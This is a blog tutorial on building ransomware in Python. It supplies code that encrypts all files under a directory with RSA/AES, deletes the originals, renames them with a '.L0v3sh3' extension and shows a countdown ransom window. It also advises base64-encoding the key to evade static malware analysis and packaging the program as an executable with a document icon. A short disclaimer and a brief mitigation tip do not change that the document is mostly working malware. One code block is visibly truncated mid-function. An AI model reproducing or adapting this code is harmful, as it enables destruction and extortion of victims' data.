Disclaimer:
This tutorial is just for educational purposes, don’t try to break any computer except yours. If you try to make real ransomware, you are breaking the law and you are going to jail.

Today I will explain to you how to make ransomware and how it works with the python language.

What is ransomware?

It’s like other malicious software or computer viruses, but with one purpose to encrypt your data and make a ransom for you. Your data is encrypted with asymmetric encryption, and the virus just encrypts with the public key. There is a private key to decrypt your data back, but you know that an attacker will not attach the private key to the virus.

Discover: How to Create Malware in Python Practically

Prepare for making ransomware

Before you build some program, you must know about what it will be and what it will do. Here is my checklist, and you can use your own checklist.

  1. The program should be an executable file and the icon like a document file.
  2. The program must encrypt data with the public key
  3. After encryption, the program must remove the original files and change the encrypted file extension with “.L0v3sh3”, Haha. I like this extension
  4. The program must show a pop-up message with a countdown timer.

Develop the program

Step 1 — Generate Private & Public Key


'''
pip install pycryptodome
'''

from Crypto.PublicKey import RSA

key = RSA.generate(2048)
privateKey = key.export_key()
publicKey = key.publickey().export_key()

# save private key to file
with open('private.pem', 'wb') as f:
    f.write(privateKey)

# save public key to file
with open('public.pem', 'wb') as f:
    f.write(publicKey)

print('Private key saved to private.pem')
print('Public key saved to public.pem')
print('Done')
list of files

After running the genKey.py there are 2 files, private.pem and public.pem.
Save your private.pem securely.

Step 2 — Encode the public key

The main purpose of encoding is to make the public key hard to identify with static malware analysis.
So, I encode the public key with base64 and attach that to my code.

In the python script you can use this script:

import base64code = "aGkgZnJpZW5kcywgdGhpcyBpcyBiYXNlNjQgZW5jb2Rpbmc=" 
print(base64.b64decode(code))

So, you can encode your private key, then decode it in the python script.

import base64with open('public.pem', 'rb') as f:
public = f.read()print(base64.b64encode(public))

Step 3 — A python script to encrypt some files in the directory

The idea I got from my last article about organizing files with python.

def scanRecurse(baseDir):
for entry in os.scandir(baseDir):
if entry.is_file():
yield entry
else:
yield from scanRecurse(entry.path)

The function above is a recursive function for scanning directories and getting a bunch of files listed with paths. Then, we use the encryption function and run it with our file list before. Here is the test function to make sure that the function is working.


import base64
import os
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES

'''
with open('public.pem', 'rb') as f:
    public = f.read()
print(base64.b64encode(public))
'''

# public key with base64 encoding
pubKey = '''LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxZUs0TkppUGlaQ1o0aDRwM2lzNwpyOTdTRGRnaWtrckswNE1sc3oraHY2UmIxKzB2M1hsY296QXVGeGIvMjkxTE5tNGs1M1RZTXQ4M3BPRm9ZRTh4Ckx0VE55UVNSMDR2dzBGcGRwU3Y1YVVjbysxRmtwRjRMdCtqV1Q0YjVrTUFqWTRkOW5Yb3lRQmxJbzBWckMwQzIKcldpeklONGV1TXBTbll3V2Z0a2JsZE5qcDJ1U0hFeWM1Z0FZR1ZKSWZ6TVRiaUxZd0k5aU9rNllnWEozbWJLdAp1dHo2WlRTdlplVzEwaUhrc2JXUXgvcUVjR0JLWFJUbkUvYTJkZVhvRThRaFZOTUV5Z0xVQmF3NERYaWRCbXBiCnFmSWtvZk5UWlQ3K2NyaENocVptYmFrSjA5bTdmT3k1TURud0oraU0wdlBheW1tdGduWnBrR0NQNlpDVDlkeHoKcHdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t'''
pubKey = base64.b64decode(pubKey)


def scanRecurse(baseDir):
    '''
    Scan a directory and return a list of all files
    return: list of files
    '''
    for entry in os.scandir(baseDir):
        if entry.is_file():
            yield entry
        else:
            yield from scanRecurse(entry.path)


def encrypt(dataFile, publicKey):
    '''
    use EAX mode to allow detection of unauthorized modifications
    '''
    # read data from file
    with open(dataFile, 'rb') as f:
        data = f.read()

    # convert data to bytes
    data = bytes(data)

    # create public key object
    key = RSA.import_key(publicKey)
    sessionKey = os.urandom(16)

    # encrypt the session key with the public key
    cipher = PKCS1_OAEP.new(key)
    encryptedSessionKey = cipher.encrypt(sessionKey)

    # encrypt the data with the session key
    cipher = AES.new(sessionKey, AES.MODE_EAX)
    ciphertext, tag = cipher.encrypt_and_digest(data)

    # save the encrypted data to file
    [ fileName, fileExtension ] = dataFile.split('.')
    encryptedFile = fileName + '_encrypted.' + fileExtension
    with open(encryptedFile, 'wb') as f:
        [ f.write(x) for x in (encryptedSessionKey, cipher.nonce, tag, ciphertext) ]
    print('Encrypted file saved to ' + encryptedFile)

fileName = 'test.txt'
encrypt(fileName, pubKey)

And for the decrypt function, you can use my script before.

https://gist.githubusercontent.com/febimudiyanto/fb00a34415b73e74cd088dfcaed6e340/raw/55bbea86cff300e294e8952dd30e19662f5f4908/decryptFile.py

Let’s scan the file, encrypt that, and then change the extension.

import base64
import os
from pathlib import Path
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES


# public key with base64 encoding
pubKey = '''LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFxZUs0TkppUGlaQ1o0aDRwM2lzNwpyOTdTRGRnaWtrckswNE1sc3oraHY2UmIxKzB2M1hsY296QXVGeGIvMjkxTE5tNGs1M1RZTXQ4M3BPRm9ZRTh4Ckx0VE55UVNSMDR2dzBGcGRwU3Y1YVVjbysxRmtwRjRMdCtqV1Q0YjVrTUFqWTRkOW5Yb3lRQmxJbzBWckMwQzIKcldpeklONGV1TXBTbll3V2Z0a2JsZE5qcDJ1U0hFeWM1Z0FZR1ZKSWZ6TVRiaUxZd0k5aU9rNllnWEozbWJLdAp1dHo2WlRTdlplVzEwaUhrc2JXUXgvcUVjR0JLWFJUbkUvYTJkZVhvRThRaFZOTUV5Z0xVQmF3NERYaWRCbXBiCnFmSWtvZk5UWlQ3K2NyaENocVptYmFrSjA5bTdmT3k1TURud0oraU0wdlBheW1tdGduWnBrR0NQNlpDVDlkeHoKcHdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t'''
pubKey = base64.b64decode(pubKey)


def scanRecurse(baseDir):
    '''
    Scan a directory and return a list of all files
    return: list of files
    '''
    for entry in os.scandir(baseDir):
        if entry.is_file():
            yield entry
        else:
            yield from scanRecurse(entry.path)


def encrypt(dataFile, publicKey):
    '''
    Input: path to file to encrypt, public key
    Output: encrypted file with extension .L0v3sh3 and remove original file
    use EAX mode to allow detection of unauthorized modifications
    '''
    # read data from file
    extension = dataFile.suffix.lower()
    dataFile = str(dataFile)
    with open(dataFile, 'rb') as f:
  [ f.write(x) for x in (encryptedSessionKey, cipher.nonce, tag, ciphertext) ]
    os.remove(dataFile)


# change directory to the directory of the script
# keep secure of changing the directory,
# DONT RUN THIS SCRIPT ON YOUR PC
directory = '../' # CHANGE THIS
excludeExtension = ['.py','.pem', '.exe'] # CHANGE THIS
for item in scanRecurse(directory):
    filePath = Path(item)
    fileType = filePath.suffix.lower()

    if fileType in excludeExtension:
        continue
    encrypt(filePath, pubKey)

For the testing, I wanna use the parent of this program’s directory for scanning and encrypting with this script.

Here is my directory before running malware:

my directory before running malware
content of parent.txt
content of testFile.txt

Here is my directory after running malware:

content of parent.txt after running program
content of testFile.txt after running program

We were able to make a python program for encrypting files and changing file extensions.

Step 4 — Countdown and message after encrypting done

Just copy my script and paste it into the end of the malware script.

import tkinter as tk

def countdown(count):
    # change text in label
    # count = '01:30:00'
    hour, minute, second = count.split(':')
    hour = int(hour)
    minute = int(minute)
    second = int(second)

    label['text'] = '{}:{}:{}'.format(hour, minute, second)

    if second > 0 or minute > 0 or hour > 0:
        # call countdown again after 1000ms (1s)
        if second > 0:
            second -= 1
        elif minute > 0:
            minute -= 1
            second = 59
        elif hour > 0:
            hour -= 1
            minute = 59
            second = 59
        root.after(1000, countdown, '{}:{}:{}'.format(hour, minute, second))

root = tk.Tk()
root.title('L0v3sh3 Ransomware')
root.geometry('500x300')
root.resizable(False, False)
label1 = tk.Label(root, text='Your data is under rest, please don\'t pay me,\nthis just simulation !!\n\n', font=('calibri', 12,'bold'))
label1.pack()
label = tk.Label(root,font=('calibri', 50,'bold'), fg='white', bg='blue')
label.pack()

# call countdown first time
countdown('01:30:00')
# root.after(0, countdown, 5)
root.mainloop()

Final step — Build an executable file with auto-py-to-exe

I can’t explain more to you, but you could read this article, https://dev.to/eshleron/how-to-convert-py-to-exe-step-by-step-guide-3cfi

That’s a very detailed explanation.

BONUS

Here is my full script, just copy it but don’t forget to understand what you write.

https://github.com/febimudiyanto/python-project/tree/main/simple-ransomware

Launch the Ransomware

test running the ransomware

Apologies for my typo in the countdown timer :D

Conclusion

This is a scary project, right?
Be careful when you execute the program, make sure you change the directory and try it in your Virtual Machine/Lab.

With my program you could modify for the reverse, decrypting the .L0v3sh3 files. Just change the encrypt function with decrypt with some logic.

For mitigation, this ransomware has Never trusted the file. If you are using Windows as your Operating System, always turn on the extension view so you can differentiate which executable file or document file.

Thanks for reading.

UPDATE

If you search for decrypting the encrypted file, please look at my github above (at the BONUS session).
I also put the private and public key, and decryptor.py to make it easier for you.

More Python Project

Shares:

Leave a Reply

Your email address will not be published. Required fields are marked *